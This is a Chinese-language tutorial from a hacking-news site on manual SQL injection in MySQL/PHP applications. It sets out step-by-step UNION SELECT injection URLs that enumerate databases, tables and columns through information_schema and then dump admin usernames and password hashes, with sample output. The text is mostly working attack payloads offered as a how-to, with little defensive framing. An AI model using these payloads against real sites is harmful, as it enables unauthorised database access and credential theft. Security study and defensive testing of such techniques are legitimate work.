SQL注入篇之mysql+php 爆库 爆表 爆字段

SQL注入篇之mysql+php 爆库 爆表 爆字段

黑客资讯访客1970-01-01 8:00:002791A+A-

在上面一章mysql+php手工注入篇  在最后用到的一个函数 group_concat()可以将查询的字段的数据查询出来


可以用利这个函数 将mysql所有的库名查询出来

 

 

1、查询所有的库

http://target_sys.com/article.php?id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA


information_schema,blogs,mysql,performance_schema,target_sys,test,wordpress

 

2、查询库里所有的表

 

http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES whereTABLE_SCHEMA=database()

admin,article,moon_range,users

 

3、查询表里所有的字段

http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS whereTABLE_NAME=0x61646d696e


id,username,password

 

 

4、查询数据

 

http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin



admin:e10adc3949ba59abbe56e057f20f883e

 

5、查询失败的原因



这种方面不是通用的,有时候 查询不全 这个原因是字段的大小问题。解决办法 换一个字段查询,或者 用函数查询长度再用字符串函数截取。这种方法将会在下面介绍。


1.jpg

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 1条评论
  • 可难猫爷2022-05-29 15:20:22
  • E=0x61646d696eid,username,password  4、查询数据 http://target_sys.com/article.php?id=-1 union s

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理